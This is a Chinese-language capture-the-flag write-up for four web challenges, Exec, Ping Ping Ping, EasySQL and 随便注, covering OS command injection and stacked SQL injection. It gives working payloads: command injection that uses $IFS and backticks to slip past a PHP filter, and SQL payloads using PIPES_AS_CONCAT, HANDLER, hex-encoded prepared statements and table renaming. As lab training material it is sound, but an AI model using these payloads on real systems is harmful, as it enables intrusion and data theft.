[ACTF2020 新生赛]Exec
这里属实有点没想到了,以为要弹shell,结果不用
127.0.0.1;ls /
PING 127.0.0.1 (127.0.0.1): 56 data bytes
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
127.0.0.1;tac /f*
[GXYCTF2019]Ping Ping Ping
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
?ip=;cat$IFS$1`ls`
这里看源码就已经出了
慢慢手测出来的
?ip=;t=g;cat$IFS$1fla$t.php
[SUCTF 2019]EasySQL
堆叠注入
1;show tables;
知道表名如何查询呢
select $post['query']||flag from Flag
是不是有了这个就很明了了
1;select *,1
select 1;select *,1||flag from Flag
select 1;select *,1 from Flag 查询出flag
mysql配置
SQL_MOD:是MySQL支持的基本语法、校验规则
其中PIPES_AS_CONCAT:会将||认为字符串的连接符,而不是或运算符,这时||符号就像concat函数一样。
1;set sql_mode=PIPES_AS_CONCAT;select 1
此时
select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
select 1;set sql_mode=PIPES_AS_CONCAT;select concat(1,flag) from Flag
[强网杯 2019]随便注
堆叠注入
1';show databases;
1';show tables;
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
1';show columns from `1919810931114514`;
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
新姿势handler
1'; handler `1919810931114514` open as `a`; handler `a` read next;#
相当于是打开文件,然后取别名
新姿势 16进制
select * from `1919810931114514`
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare love from @a;execute love;#
prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
上面这两个相当于组合拳
先用个别名把sql查询语句替换了,用来绕过,然后进行执行
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
新姿势 rename and alter
这个东西不算新,但是我从来没有用来注入过
1';rename table words to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
字符集(Character Set):utf8
UTF-8(Unicode Transformation Format - 8-bit) 是一种针对Unicode的可变长度字符编码,能够表示世界上大多数书面语言的字符,包括拉丁字母、中文、日文、韩文等。每个字符可以由1到4个字节组成,根据字符的实际Unicode码点决定。
在数据库中使用UTF-8字符集 意味着你可以存储几乎任何语言的文字,这对于国际化应用特别重要,因为它确保了多语言数据的兼容性和一致性。
排序规则(Collation):utf8_general_ci
排序规则 定义了如何对字符进行比较和排序,包括大小写敏感性、重音符号的处理、以及特殊字符的排序顺序等。
utf8_general_ci 是UTF-8字符集下的一种常见排序规则,其中:
general 表示这是一个通用的排序规则,适用于大多数情况。
ci 是“Case Insensitive”的缩写,意味着在比较和排序时忽略大小写。例如,在这种排序规则下,“a”和“A”会被视为相同。
我看了一下payload其实不用写那么那么长,我们等会查询就是靠万能密码把所有东西给带出,那么本来words表里面有id,那么我们重命名flag为id将其带出即可
1';rename table words to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#
1' or 1=1;#